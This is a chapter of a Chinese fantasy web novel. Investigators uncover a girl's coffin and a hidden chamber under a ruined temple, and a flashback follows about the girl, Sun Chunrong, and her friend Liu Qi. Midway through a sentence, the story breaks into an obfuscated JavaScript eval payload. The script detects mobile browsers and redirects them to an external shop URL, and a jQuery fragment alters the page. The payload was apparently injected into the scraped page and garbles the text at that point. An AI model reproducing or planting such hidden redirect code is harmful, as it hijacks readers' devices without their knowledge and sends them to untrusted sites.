“你不也是活人?”宫璃努嘴,“跟我说这些……” 潇泉笑了两声,不答。 白骨被杂草黄土厚厚覆盖着,不细看的话看不出来。潇泉弄开杂草黄土,欲要触碰头骨,被人伸手拦住。 “别碰。”闻尘不知何时走到旁边,“我来。” 相似的话术被反用在自己身上,潇泉一时哑住,挠了挠脸颊,心想莫不是闻尘故意的,但见他神情肃穆,又打消这个念头。 旁边传来轻笑,潇泉转头,宫璃正挤眉弄眼地看着她。 闻尘无暇管身后二人,触摸头骨眉心,闭眼感受道:“死年不详,魂魄散尽。” 潇泉诧异:“你也没看出死了多久?估计这趟……有点棘手。” 她去破庙别处打望,视线不自觉落在前方石像上,看清楚模样,下意识后退几步。一起过来的闻尘稳稳扶住,随她的目光看去,发现那是一尊将军石像。英气逼人,戎装霸气,骑在马上雄姿威武。它右手斜下呈握状,手中武器不知丢在了哪儿。 宫璃同样注意到了,“这居然是尊将军像?刚才都没注意看,太小了。” 确实小,小到让人觉得它不是这神庙供奉的主。 所有人把石像和看到的那团黑影相比较,感觉姿势身态简直是一个模子刻出来的。 宫璃吞吐:“这这庙不会是那妖的栖息地吧?他他他不会是将将军吧?!” 潇泉神情肃穆,“说不准。” 宫璃百思不得其解:“可,一个将军怎么会滥杀无辜百姓?这不应该啊,这么没良心的?” 潇泉:“不一定是滥杀无辜。刘家被屠我们不知缘由,暂且不提,但后年死的壮汉却有证据。他与妻子争执不休,欲用菜刀伤人就招来了杀身之祸。这妖偏偏不杀手无缚鸡之力的母女,答案已经很明了了。” 宫璃思忖:“这么说来,它好像确实只针对家暴的男子……那刘家怎么解释?” 潇泉问他一个问题:“你觉得刘老爷是个怎样的人?” 宫璃认真回想,“有钱。” 潇泉无话反驳,“……还有呢?” 宫璃右手虚拳拍打在左手掌心上,“朋友多,人缘好,对家人也好。” 潇泉抱胸道:“人缘好没错,可对家人好你是怎么看出来的?” 宫璃坚定道:“我看见的啊,你不也瞧见了?” 他说的是潇泉用金刚手镯逗老家第三子过来的场景,潇泉明白,“好还是不好不能单凭一面断定,他把孩子带在身边就真的是对他好了?” “那倒不是。”宫璃细细回想感觉奇怪的地方,“当时你是用手镯吸引小孩过来的,就一个手镯而已……哎,等等!” 他猛地精神,“刘家那么有钱,孩子不至于没见过一个金手镯吧?而且你那个手镯在远处看根本看不到什么花纹,更没铃铛,晃一晃他就过来了,这也太好哄了。只是见一面就这样,要再多见几次,岂不是得跟我们跑了?我家好多东西可以逗他玩。” 潇泉打了个响指,“刘焕家大业大,有什么宝贝是没见过的?一个金刚手镯就能轻而易举拐到一个孩子,那只能说明刘焕没有把钱用在孩子身上。孩子没见过宝贝,所以稀奇得很。”那时她只是无心之举,没想到成了探寻真相的线索之一,真是歪打正着。 宫璃:“孩子的满月宴怎么说?” 这倒不难解释,只是需要花点时间。潇泉在刚才聊的话上,想着要怎么打个比方才合理。闻尘突然开口道:“人脉广人缘好的商贾注重形象。” 这说出了潇泉想说的,她道:“有钱人不会为衣食住行而忧,而是会想要怎么花钱,花出花样来最好。他们还会格外注重自己的形象,为了给外界一个好印象,这对他的财势人缘都有很好的作用,还有人则会装作热心肠的菩萨,因为他害怕死后入狱,所以想及早积攒功德抵消过去做的肮脏事。” 就像宫家的宫玉泷英残害同族家亲,对外界倒是一副温婉娴熟的模样,哪怕世人听过她的传闻,也会因为她的施舍而装作视而不见。宫榷因为不肯施舍善心,在外名声不见好转,但那些人惧他如惧蛇蝎,不敢公然诋毁谩骂,只有碰到同道之人才敢露出嘴脸。这些宫璃都不知晓,他出生太晚太晚,很多事情不知根由。 宫璃接着猜道:“意思是,刘老爷其实是不爱家的商人,但为了给自己塑造能力强且顾家的形象,才给孩子办满月宴?” 潇泉:“如果妖是为了杀对家人行凶的男人,那么这个就是最合适的解释。” 宫璃愁眉色忧,“但满门被灭的代价也太大了,死了好多无辜的人……” 这确实如此,他们必须尽快抓住凶手。 潇泉凑近细看石像,它不仅没有武器,整体都是模糊不清的,只是被侵蚀的程度轻重不一。 置放石像的石台下方有一处被青砖砌得极为方正的黑暗空地,看轮廓大小,貌似刚好可以装下一个小孩或者体型瘦小的大人。宫璃看一眼没什么感觉,多看几眼便觉得阴恻恻的,不敢过去。小乔倒是不怕,碎碎几步钻了进去。 石台上面覆着的红布有一角遮住了洞里的情况,宫璃蹲在外面瞅来瞅去没看明白,正要伸脖子喊那边的潇泉和闻尘,石台下方轰然发出机关的隆隆声。 小乔自黑洞里猛头钻出,站到旁边盯着石台后面□□草覆盖的地面,眼睛亮得可怕。 宫璃被这一幕吓得不轻,握着佩剑吞咽口水,怕出现活蹦乱跳的尸骨。 听见声音,潇泉闻尘双双赶来,每个人都瞧清那堆干草缓缓升起又自动往两边拨开,一张古旧枯黄的长方木板从中浮现。 潇泉闻尘相视一眼,默契蹲到木板两边观望摸索。闻尘拿出三张黄色符纸,心中念诀,符纸立马映出铜板暗纹。他把所有符纸置于木板之上,再捡起脚边的干草点燃烧掉它们。 期间,所有人拜了三拜。 待符纸燃尽,潇泉和闻尘一起小心推开沉重泛黄的木板,里面的东西一览无余。 一具完整的白骨躺在看不出颜色且烂透的被褥上,周身头顶摆满金银玉器,其穿着的绸缎衣裳还能看见一点纹样,看样子像是哪家贵族的孩子,只高到潇泉胸膛。 潇泉一眼笃定,“这不是骑马挥刀的凶煞,凶煞是个男人,而这口棺材里面躺的是个小女孩。”似还有疑虑,她触摸骨面一探,确定是女孩的骨架。 闻尘眼神一凛,挡住她手,“魂还在。” 宫璃表情僵硬,站到潇泉身边靠着,“要是妖魔多好,我不怕它,我还会追着杀,偏偏是人……” 潇泉关心:“为什么这么说?” 宫璃解释:“谁知道这些死人孤魂是好是坏……要是碰见怨气大的,没一身本领不好活命……很骇人的。” 相处这么久,潇泉还真没见过他怕什么,估计是以前的遭遇让他有了心理阴影。她出声安慰:“你站我后面,或者拉小乔过来一起。” 这口棺材是小乔发现的,她七情六欲宛若白纸一张,可能没有恐惧一说。就算有也可能不怕,不然不会主动找机关开棺、直面白骨。 眼下最重要的就是查出棺主的身份。潇泉道:“这么好的陪葬品不葬在陵园,反而放在一座百年破庙里,有点奇怪。” 宫璃尽量无视那具白骨,把棺中金银玉器扫视了遍,“这些很像前朝的老物件……以前我回家无聊会看些古籍,里面讲述珍宝金银的由来和发现。当今江湖,好多传奇物件是前朝流传下来的,很多人为了亲眼目睹或是珍藏,不惜花大价钱买通渠道。要是买到凶恶器灵的老物件,那么他们可以用自己的修为镇压老物件的秽气,把它占为己用,滋养自己的身体……” 潇泉思量道:“九州最后一个王朝是商阙……确实有很多年了。”她盯着陪葬品一一看去,“全部都是?” “是。”闻尘对金银玉器了解不多,但棺里有把蒙尘的旧匕首,其他物件多少都带有相似的花样装饰,应该都是彩绘。即便色泽不再,但犹然能见当时的精巧工艺,令人惊叹。 “如果这小女孩真是生活在商阙王朝的百姓,那么也可以认定那只凶煞是商阙王朝的人。”潇泉一手镯胸,一手手指抵着下巴,“它的修炼处于魔化程度,不会容忍任何一只魂灵,因为魂灵就是它吸收增长修为的养品。如果给出一个凶煞不会伤害女孩魂灵的理由,那应该就是他们同为商阙人。当然也有残害同胞的,所以我们再做一个假设,假设他们关系没那么简单,可能是亲朋好友,这一切就合理了。” 宫璃还有疑问,“如果真是家人朋友,那我们都找到这儿来了,凶煞怎么还不出现?它就不怕我们伤害女孩?” 这是潇泉疑惑的地方,她对棺中人沉思须臾,还是没想到原因。 这时闻尘蹲下,指尖轻点头骨眉心,像是在水中摸鱼一般周旋半天,引出一缕荧光,然后越来越多,最后一团拳头大、会发光的蓝色雾团便飘在空中。 宫璃侧望惊道:“居然还没散魂?” 潇泉摊开手掌,蓝光雾团悠悠萦绕过来,她近距离感知了一二,道:“有点呆,可能是在棺里睡久了。” 她知道魂团有话想说,但不知是不是封闭太久忘记言语,始终没有等到它开口。 魂团在空中漂流片刻,往他们还未涉足的另一角落飘去。 闻尘起身,“它想让我们跟上去。” 宫璃犹豫,“那我们跟不跟?” “都可以。”潇泉言明,“有百里师父在场,我觉得不用怕。” 宫璃毅然点头:“言之……有理。” 蓝色魂团在角落萦绕不散,像是刻意引导他们来此。它缓缓落地趴着不动,潇泉蹲下抚摸它,发现它一直往地面的一条细缝钻。 闻尘轻扯潇泉的衣袖后退,拂来一阵清风,清理缝隙周边的尘土,一块边缘明显的方正地砖便显露出来。这块石砖与别砖不同,四边空隙较大,很难不让人怀疑底下藏有东西。 闻尘两指向上一勾,地砖轻轻移开,下面漆黑深不见底。潇泉往里丢了一块石子,骨碌碌的声响持续不久,看样子没有很深,但凭她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322094|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在的体能,跳下去不死也伤。 砖口大小刚好能容纳一人,闻尘先撩开衣摆纵身一跃,确保四周安全,窜起一簇火照明。他仰头望着潇泉,伸出臂膀,“来。” 潇泉双手撑地探出脑袋,“要是我砸到你怎么办?” 闻尘和宫璃异口同声:“不会。” 她知道两人各有话意,不想误时,闭眼跳下,以为会落入结实怀抱,没曾想却被一双手抓住两只手腕,全身如鸿毛般安全落地。潇泉睁眼,身下果然有团荧光托着。 宫璃和小乔自带武功,不用辅助,自行跳下。 他们身处之地只有一条半圆形的甬道,前方黑不见底。几人顺道前行,在灯火照明之下,看见甬道墙壁埋着东西:陶瓷破衣、老少白骨。 宫璃四处打量,“这甬道埋着这么多东西,不会是一座隐藏的古墓吧?” 潇泉停在某处,观察土墙里面一个失去光泽的拨浪鼓,然后别开视线,“与其说是古墓,不如说是乱葬岗。” “啊?乱葬岗?”宫璃脚步一歪,环视周围寂静的环境,“确实像……” 甬道不是古墓的规格,用的地砖不像古墓所用,倒像寻常城镇用来铺街的地砖,大多都有年头,裂痕明显。 甬道没有很长,他们来到一个较为空荡的地方。闻尘扬手,一道灵光窜到墙上绕了一圈,四面墙壁的角落当即挂上一团团灵火。 借此明火,大家看清自己所在的地方是一间石室,正前方摆着一尊香鼎,里面插有三炷香,四面墙壁画有不同的壁画。 大家先被壁画吸引,同时看清上面的内容:一面是家里的琐事,父母在争吵,孩子在哭泣;一面是繁荣的城景;一面是将军出征,战火漫天的情景;一面是城镇荒芜破败的落魄,几近断壁残垣。 宫璃看完发叹:“我很好奇是谁这么有耐心,把四幅不同的画面画在墙上……看痕迹有很久了,应是出自前人之手。” 壁画不像是随意排列,潇泉问:“你们觉得该是什么顺序?是从家里长短到残垣断壁还是反过来的?” “不确定。”宫璃凝神细察壁画,“这位前辈刻画的……不会是香城的城历吧?上面表现的故事都是真实存在的,不像杜撰。” 潇泉想起陈忆说的话,道:“我倒觉得不是香城没有过去,而是被人掩盖住了。杀人的凶煞会骑马挥刀,旧庙供奉着将军石像,就连壁画也有将军图像……这个地方,不简单。让香城种花的道士,真是恰好路过?” 闻尘否定:“不是。” 大家齐齐望他,眼神疑惑又期待。 闻尘:“道士目的只有一个,让白水城重新兴旺,恢复人气,压制怨气。” 他肯定发现了什么,潇泉问道:“你感受到什么了?” 闻尘盯着壁画一一看去,“怨、兴、战、破。这是一个有着因果的过去。” 宫璃:“香城的过去?白水城?” 潇泉思忖道:“联想棺中女孩生活的王朝,是不是可以判定这是一段发生在商阙的历史?” 闻尘:“也许。” 蓝色魂团飘过四面壁画,飘到一个从未被人注意的小石像旁边,所有人全部望去。 小石像被荒草尘埃掩盖得严严实实,蓝色魂团却好似知道它在这里,游荡一般靠近它的脸庞,照亮它的五官。 众人慢步靠近,在蓝色魂团微弱的照亮下,勉强看清石像是一个二十岁不到的少年,双手握着剑柄直直垂于地面,英姿豪迈,活脱脱的少年将军。奇怪的是,石像的脸有一半被阴湿之气侵缠,爬了些许青苔,看着有点阴暗。 九州多年不曾出现身披战甲手握长剑的人间将军,自从最后一代王朝商阙覆灭,隐没在江湖的仙门百家才如潮水般涌入人间,让世道彻底成为天下人的天下。 或者说,一直如此。 早在千年前,九州有过一场神魔大战,两败俱伤,最后一位神和魔陨落,真正的神魔时代就此落幕。 如今仙不如神,魔脉不纯,带着妖性,哪有什么真的魔头?能与之比肩的,唯有百年难遇的神魔后裔,其半仙半魔之力可达到翻天摧地的地步。正因为力量强悍,所以众人抵触神魔。 小石像的背后有一尊香鼎,潇泉等人为了寻找其他线索,绕过石像和蓝色魂团来到香鼎面前。 这尊香鼎蒙着旧尘,其中三根香更是旧得看不出原本颜色。下面支撑香火稳立的不是香灰,而是一堆骨灰,其中存有残骸。 一路下来见了不少同类尸骨,宫璃不想习惯也习惯了,站在潇泉和闻尘中间问:“点香看看?” 潇泉心里其实是想点的,但怕承担不住后果,反问闻尘:“你觉得呢?” 闻尘似看穿她的想法,“最后的线索,问心即可。” 潇泉深深吸气,凝视这三根香,从容不迫取出符纸,打火伸过去。 本以为时隔多年,旧香不会再起作用,谁知一点就亮。所有人屏住呼吸,细心感受周围有没有动静,半天无事发生,宫璃松了口气:“原来是虚惊一场,我还以为把脏东西招来了……” 话音刚落,宫璃翻个白眼倒了下去。 潇泉想去扶,伸手那刻反抓住鼎的边缘,强行支撑着缓缓下坠的身体。求生的欲念慢慢淹没在溺人的香火里,没多久她顺着鼎壁滑落在地。另一边,闻尘不知所踪,小乔艰难地在地面爬行,努力靠近潇泉的左脚。 潇泉半睁着眼,在模糊的视野中看到一双小孩的赤足,苍白稚嫩。 “我不会伤害你,我只是想让你帮个忙……”女孩的声音宛若江南凉雨中轻曳的风铃,空灵飘然。 潇泉努力出声却是徒劳,她不能说话。 女孩继而道:“你……帮我唤醒……事后……我……” 声音断断续续然后彻底消失,潇泉无法回应,渐渐陷入昏迷。 一场自远方而来的故事,牢牢罩住这间沉寂了数年的古老石室。 46. 长相思(柒) 这个故事发生在九州的最后一个王朝,名为商阙。 商阙承接了前朝的国库和子民,几十年来励精图治,使国家从最初的民不聊生走向欣欣向荣,这离不开当今陛下的治理。此时国朝气势接近鼎盛期,天下安康,文风兴盛,街上来往俊男靓女。白日街开满店,吆喝不绝;晚上夜市兴隆,灯彩照人。 在繁荣的王朝景象下,地方小有名气的城镇不计其数。 白水城坐落西南,在十万大山中,它是其中一座绕山环水的城市,从镇发展到市用了三十年的时间。不知是不是风水不好,之前连续三任城长贪污入狱,只有前一任从京都调过来的官员是寿终正寝。 那年,京都又派来一位年轻的官员,听说少时家贫,勤学苦读以致精忠报国,白手起家到朝廷官员,是家族第一个当官的人。 他才华能力集于一身,远超常人,花了十年时间修水渠、铺砖道、设商行、建高楼,将白水城推到全朝发展的上游,在当地颇有声望,深受百姓爱戴赞颂。 这位孙城长孙长青扎根白水城整整十年,膝下有一女,身边有一妻。妻子在他还未当官时便跟着了,女儿名叫孙纯蓉,取名寓意为“桃女芙蓉、纯洁若水”。 孙纯蓉今年九岁,乃孙府长女,整日不是跟着母亲学琴棋书画,就是去逗逗年仅四岁的弟弟。 阿弟名唤孙祈,天生患有眼疾,看不清太远的东西。孙纯蓉清楚这是母亲因刺绣伤了眼睛,怀阿弟时遗传下来的缘故。 孙纯蓉带着弟弟走向孙长青的书房,敲了敲门,“父亲?” 孙长青执笔在纸上轻轻描绘着,头也不抬,“何事。” 男人的嗓音低沉淡然,聚精会神地动着墨笔,应了一声没再说话。 旁边的弟弟朝门槛迈去,孙纯蓉赶紧把他拉到身边,脸上带着歉意,“父亲,到用膳的时辰了。” 孙长青眼也不眨,“你们先吃,不用等我。” 孙纯蓉牵着弟弟颔首退下,“是,父亲。” 孙府膳厅不大,刚好能容下四人。孙纯蓉同阿弟进到膳厅坐下,朝座位上的蓝衣女子一礼,“娘,父亲不吃。” 蓝衣女子并不意外,自然拿起筷子动了起来,“那就别管他了,我们先吃。” 孙纯蓉把弟弟抱上旁边的椅子,给他夹菜又给母亲夹菜,然后埋头小口小口地吃了起来。 一家三口的晚饭平和安静,母亲吃完要回房,孙纯蓉还得练写书画,便把弟弟送到母亲那儿去了。 她回到自己的小书房,心不在焉地坐下来摆弄文墨,想起自己去找父亲时他静静描摹的情景,不由犯起了嘀咕。父亲不是第一次这样,他总在书房写写画画然后饭也不吃就出门,母亲都习惯了。 他出去干什么? 孙纯蓉放笔起身,佯装在庭院池塘摸鱼,依稀听到另一边院子有人路过,其中有个说话的人是父亲身边的王管家。 看来父亲又要出门了。 等到那边没声了,孙纯蓉故作自然,轻手轻脚地从小道走到侧门,从门缝偷看父亲的马车驶往东街的方向。 东街那边有谁? 孙纯蓉想了想,回房把完成的课业拿给王管家看,“王叔,我完成学堂布置的课业了,可以出去玩了吗?” 王管家一一扫过那些字画,满意笑道:“小姐又去找刘公子啦?记得早点回家。” “好!”孙纯蓉辫子一甩冲出了府,轻车熟路跑到隔壁古道的一家府邸门前。 她踮起脚尖透过门缝偷看,没看到什么,犹豫片刻,端正好态度,屈指扣了扣门。 里面的人还没开门,便朝屋里喊道:“刘棋少爷,孙小姐找你。” 说话的是个年轻女人,她笑眯眯地开门,问道:“孙小姐进来坐坐罢。刘棋少爷的功课还没做完,老爷吩咐要他做完才能出门。” 孙纯蓉和刘棋是同窗,从小到大都是在同一个学堂,彼此熟悉得不得了。之前她也是先完成课业来找的刘棋,而刘棋未完成课业不得出门,刘老爷会让孙纯蓉进来等,好吃好喝招待着。 这次仍然一样。孙纯蓉轻车熟路地走到一间书房。不进去,趴在撑开的窗口喊了声:“刘小黑,你当乌龟呢?写这么慢。” 听到声音,刘棋立刻回头,瘦黑的脸露出一排洁白的牙齿,笔不拿了,课业也不做了,一下从地上跳起来,跑到孙纯蓉面前,给她一个大大的拥抱,“孙妹妹!我还以为你这辈子都不理我了。昨日是我不对,我不该冷落你跟你吵架,可你也不该突然跳出来说那些让人焦心难受的话。知道的以为你在劝架,不知道的以为你是在骂我。我很生气,别人可以说我的不是,但你不可以。” 孙纯蓉:“我为什么不能说你?” 刘棋拍拍她的背,“因为我不在意别人对我的看法,我只在意你的。你说我半句不好我能承受,可若说十句不好,不如让老天当头一雷劈死我算了。” 孙纯蓉心情好转,扒开他的双手松开,一脸正经道:“你明知那个周扒皮不好惹,你还去犯他干什么?说两句就行了,一直逮着说作甚?万一打起来,到时你爹娘怎么给你兜烂子?” 刘棋招呼她进屋里坐,亲手端着糕点送到她面前,“不就是亲戚在京都大商当着官吗?小孩子打闹真轮得到他们管?我又没盗窃杀人放火,是周扒皮先惹事的。” 孙纯蓉冷哼一声,不再言语。刘棋改颜换色,蹲到她面前笑道:“别气了,左右不过是大人当面交谈和解,我和周扒皮继续看不顺眼罢了。你是气我昨儿闹脾气还是气我什么?提前说好,是你先不理我的,我可是哄过你了,你有错我也有错。” 孙纯蓉扬眉,“我今儿来找你可不是跟你拌嘴的。赶紧完成课业,我要你陪我去一个地方。” “行。”刘棋答应得爽快,回到案前继续提笔抄写诗文,“你随便玩,出去散散心也行,我叫小福陪着你。” 小福是他养的小狗。 孙纯蓉拒绝:“我不想出去,就想在屋里。你陪我和小福陪我是一样的。” 刘棋无奈叹气,安心誊抄第二句诗词,问道:“你是说我像小福呢,还是小福像我?” 说来说去还是把他和狗相比,不管哪里挖坑他都得跳,刘棋索性随她去了。 他继续完成课业,忽然想起什么,捡起碟中的一粒红色豆子,握在手心里,抛了又接,余光频频瞥向那一边。 孙纯蓉看他做功课还不老实,正要训话,忽而看见他抛着一颗豆子,问道:“你在干什么?” 刘棋举起豆子给她看,咧嘴笑道:“抛红豆。” 孙纯蓉冷不丁道:“有病。” 刘棋不恼,嘿嘿笑着,佯装要把红豆抛给她,“你吃不吃?我去给你煮一碗,放糖掺粥可好吃了。” 孙纯蓉轻哼道:“我吃过,不用。” 刘棋:“那能一样?我可是亲自给你下厨。我做饭是不行,但做红豆粥可拿手了,骗你是小狗。” 他急得很,似怕孙纯蓉不答应,就差哭着去下厨了。孙纯蓉强忍笑意,正色道:“那你去吧,少加点糖。” “好嘞。”刘棋二话不说跑到厨房,叫下人生火添柴,自己淘米洗豆,放进锅里加水煮熟,然后舀上一碗加上适量的糖熬匀,最后配上自己喜欢用的调羹给她端过去。 孙纯蓉就在厨房门口看他忙着,接过小碗就要浅尝,看到和碗格格不入的狗儿图调羹,当即明了,“谁要用你的调羹了?拿走。” 刘棋气急:“我特意从碗柜里拿出来洗干净给你的,别人想用还用不上,都是赶着用我的好东西,你凭什么嫌弃啊!” 说着,他就要把狗儿图调羹拿走,眼眶偷偷红了。 孙纯蓉瞧得一清二楚,等他拿起调羹,眉梢微扬,“喂我。”声音轻轻的,很认真。 刘棋愣住,“什么?” 孙纯蓉别过头去,“装什么聋?我成全你不行?” 刘棋咬唇,拿着调羹不知该走还是该留,“就不能态度好点儿?我都把我最喜欢的调羹给你用了,还要凶我喂你。从小到大,都是别人服侍我——” 话未说完,孙纯蓉一手抢过调羹,舀了一口红豆粥喂他嘴里,笑道:“现在是孙府大小姐伺候你,可开心了?看你吃得那么香,指不定就等着我喂你吧?” 刘棋脸“唰”一下红了,“我才没有……” “哼。”孙纯蓉放下调羹,把碗伸到他面前去,扬了扬下巴示意该到他喂了。 得了便宜的刘棋是该卖乖了,拿起调羹舀了一小口给她。 孙纯蓉不吃,吐声道:“喂耗子呢这么小口?大口点,等下凉了。” “也是。”刘棋舀了满满一勺,孙纯蓉一口闷进嘴里,有时嘴里塞不下,就握着他手喂到他自己嘴里。刘棋照单全收。 吃完红豆粥,两人回到房间,孙纯蓉接着看守刘棋完成功课。 吃完红豆粥,刘棋做功课比平时认真上心了点,乖巧得很,不再像平时嚷嚷叫叫这里难那里难,要她教。 做完功课,刘棋换好新衣在孙纯蓉面前晃悠,水青背心配着一条银环项圈,红色抹额缀着一颗绿宝石,打扮十分精美。像是知道自己穿得极好,出来时路过镜子,径直走到孙纯蓉面前,“好看吗?” 孙纯蓉由衷赞美:“好看。” 刘棋捋了捋没有褶子的衣袖,“配吧?” 孙纯蓉:“配什么?” 刘棋嬉笑:“配你。” 孙纯蓉:“……” 此人当真是无药可救了。 孙纯蓉急着上街,刘棋不耽误她的吉时,换好衣裳便匆匆出门。 路上,刘棋略有不解:“你不是不爱来这边吗?怎么今日有兴致来了?” 孙纯蓉:“我有事找我父亲。我看到他马车往这边走了,想来看看。” 刘棋:“我娘说东街这边有点乱,尤其是那些小巷道。我们可不能去,只能在街上转转了。要是有坏蛋,我帮你打跑他。” 进来之后没看到人,孙纯蓉不急于这一时,跟他斗起嘴来,“少装蒜,你打得过吗?” 刘棋拍拍自己的胳膊,“打不过也得打啊,万一你被拐跑了怎么办?不说你爹要打死我,我肯定也不想活了,当场拿起白绫悬梁上吊……” 孙纯蓉拍他一掌,“谁要你跟着了?蠢货!” 刘棋哈哈笑道:“哎呀开个玩笑嘛,谁会放弃天生享受荣华富贵的命?我巴不得长命百岁儿孙满堂,潇洒快活一辈子!” 孙纯蓉脸色这才好些。谁知那厮又凑了过来,“但享受这一切的条件是孙纯蓉和我一起。” 刘棋说完笑着退开,成功躲过孙纯蓉挥过来的巴掌。 孙纯蓉气恼:“你说这话和登徒子有什么区别?” 刘棋大言不惭道:“当然有区别,我是真心的。” 孙纯蓉白他一眼,自顾走着,随便指着街摊上的几样东西,“这个这个还有那个那个。” 刘棋一个不落地指完,“这个这个还有那个那个,全都帮我包起来,谢谢。” 孙纯蓉生气的法子有很多,买东西就是其中一个。第一次这样她是为了甩开刘棋,装作买东西,不与刘棋搭话。刘棋很有耐心地等着她买完,然后又死皮赖脸地跟着搭话。孙纯蓉无可奈何,骂又骂不走,只好随他去了。 说来也巧,她和刘棋相识是因为周扒皮。当时刘棋怀疑周扒皮偷了他的东西,跟周扒皮大吵一架,两人谁也不服谁,越吵越凶,便打了起来。 孙纯蓉依稀记得那日周扒皮确实在座位上偷偷摸摸拿了个什么,于是在周扒皮座位上翻找来去,找到了刘棋丢失的玉佩。 这下周扒皮没理由硬气了,结结实实挨了刘棋两拳。孙纯蓉上前劝架,刘棋不听,她抱着刘棋就是一摔,说他们谁再打她就揍谁。 当时刘棋很是纳闷,这个比自己矮半个脑袋的妹妹怎的力气恁大,但他知道确实不能再打下去,于是作罢,最后还是由双方父母出面调解了这场纠纷。 自这以后,刘棋总是有意无意跟她搭话,不是“孙妹妹你干嘛呢”就是“孙妹妹你理理我,别不说话呀”之类的话。 起初他们坐的位置距离很远,后来不知怎的越来越近,再后来变成同桌。刘棋不知给了人家什么好处,换了位置非得和孙纯蓉坐一起。 这下倒好,刘某不会再从那边走到这边来看人家作甚了,反而异常安静,从平日纨绔的模样变成乖乖听课的学生,课下还会捧书去请教孙纯蓉。 孙纯蓉烦极这个浪荡子,说一问要交三文钱,没钱就别问。 这般故意刁难,是个聪明人都晓得知进退,刘棋却在次日拿出一个金元宝塞给她,“这是半年的学钱和聊天钱,不够我家里还有,你要多少?” 孙纯蓉把金元宝丢到他怀里,瞪道:“滚。再烦我,待会儿我把你和金元宝一块丢出去。” 那时刘棋似怕她,又似不怕她,受到威胁后,果真没再打扰,课间不是一个人趴着就是应付过来搭话的同窗,坐在位子上的时间比出去玩的时间还久。 孙纯蓉脾性古怪,不会趋炎附势佯装作假,几乎独来独往。有孤傲张扬者明面上针对她,还没等到正主开骂,旁边趴着的刘棋忽然坐起来,两排牙齿甚是明亮,黝黑的皮肤挡不住五官天生带来的英贵之气,将那同窗怼得面红耳赤、无地自容。 他不曾作邀功之态,骂完人继续趴着睡。旁边的空气仿佛凝固,孙纯蓉冷冷斜看他,那阴飕飕的眼神不知怎么就定在了他脸上。 “看够了吗?”刘棋忽然开口,没有睁眼。 孙纯蓉不急不忙道:“你就这么爱多管闲事?” 刘棋睁眼坐起,微微一笑:“这不是学你?” 孙纯蓉:“我可不是为了帮你,只是看不惯有人颠倒黑白。” 刘棋:“那我也没说是在帮你啊。那个姓吴的说话那么大声,我怎么休息?” 两人一来二去斗嘴,渐渐熟络起来。 刘棋总是从家里拿他的木雕玩意儿偷偷摆到桌上,“玩不玩?” 孙纯蓉低头写字不理,经他几番纠缠,终于骂道:“烂泥扶不上墙。你能不能好好听先生讲?” 刘棋故意激她:“你不试试怎么知道我扶不上墙?之前给你学费你又不收,我有什么办法?” 孙纯蓉气得咬牙,“我是你娘吗要管你那么多?” 刘棋眼睛慢慢亮了,露出笑容,“新娘啊,也不是不可以。” 孙纯蓉果断抄起书本砸他,“不知羞耻!” 刘棋闪身躲过,把书捡起来弄整齐还她,委屈道:“孙妹妹,你知书达理,难道没听过书上一句‘窈窕淑女,君子好逑’吗?我很难忽视你。” 孙纯蓉:“你又不是君子!” 刘棋:“是啊,所以我建议书上这句应该改成‘刚火烈女,烂泥好逑’。” 不知是不是真被气到了,孙纯蓉接下他的话茬:“要真是这样,这些烂泥就该死,糟蹋了别家女子。” 刘棋晃着脑袋,“别人我不清楚,我只知道烈女姓孙,烂泥姓刘。” 孙纯蓉冷笑:“还挺有自知之明。” 刘棋幽幽叹气:“是啊。” 总的来说,相识过程十分坎坷,算是不打不相识。 刘棋买完这几样东西,孙纯蓉不扫他的颜面,全部收好。 东街这边的铺子街摊要杂很多,但孙纯蓉还是一眼看到了她父亲的马车。她提高警惕,迅速拉着刘棋躲到一家酒馆旁边,猫着腰偷看。刘棋顺着她的目光望去,也看到了孙长青的马车,正要问什么,突然瞧见孙长青从那裁衣店里出来,身边跟着个年轻女人,被他好生扶上了马车,恩爱得很。 孙纯蓉和刘棋双双瞪大眼睛,盯着马车消失在路的尽头。 刘棋怔怔地偷看孙纯蓉的表情,她脸上的震惊化为了愤怒,眼眶红了起来,说了一句什么“怪不得”。 看她难过,刘棋也难过,安慰道:“男人就是这样,你想开点。” 孙纯蓉回头瞪他,恨道:“你也是男人。” “我不是!”刘棋立即摇头,“我是你的小福!” 孙纯蓉笑不出来,只觉这话暗含嘲讽,一把推开他,“滚!” 刘棋气得委屈:“我要真滚了,那才不是个东西。你生你爹的气怎么撒到我头上?我又不是你爹。” 这无头无脑的话直接气哭孙纯蓉,刘棋不知如何是好,急得给自己扇了两个大嘴巴子,“我的错我的错,你别哭了成吗?” 他小心翼翼又急切至极,手忙脚乱地轻轻抱住孙纯蓉哄,边哄边道:“男人没一个好东西。你别伤心了,不是还有向夫人和孙祈陪在你身边?少一个爹多一个爹其实没有太大差别,只要衣食无忧就行了。再说了,不是还有我在你身边?” 孙纯蓉最烦他动不动示好,抽噎骂道:“你算什么东西?” 刘棋握着她手不停轻拍,好赖哄道:“好好,我不是东西我不是东西。” 不管怎样,他都得先把她的情绪稳定下来,稳定之后什么都好说。还好孙纯蓉平时惯会管理情绪,崩溃哭了一会儿渐渐安静下来。 刘棋松开她,沉吟试探说起自家的事儿来,“其实当官有地位的男人很多都是三妻四妾,我家也是。只是我命好,投胎到我娘的肚子里。我娘是我爹明媒正娶的妻,我呢就是我娘的第三个儿,还有其他小妾生的哥哥姐姐弟弟妹妹。人很多,我习惯了。” 孙纯蓉冷静听着。 刘棋看她不闹情绪,又道:“人是会变的。就算这十年你爹只有你们,你也得学会接受他接纳其他女子。你爹官位这么大,想要的肯定不止有权力金钱。你呢,不要想那么多了。眼下最重要的就是学会照顾自己,好好陪陪向夫人和阿祈才是。” 孙纯蓉用衣袖擦去眼角残留的泪,没有说话。 她从小到大都以为身边只有父亲、娘和阿弟,没想到还会有其他人,一时之间难以接受,但却是认真考虑了刘棋说的话。 后来日子一切照旧。 再后来,孙家办了喜事。 